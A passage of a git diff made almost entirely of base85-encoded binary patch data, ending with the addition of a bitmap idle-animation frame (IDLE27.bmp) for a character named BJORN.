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 Gdi_5J&g6vv literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE27.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE27.bmp new file mode 100644 index 0000000000000000000000000000000000000000..6c2dea872e97974dc15fd2c4422e39c56815b48c GIT binary patch literal 18462 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 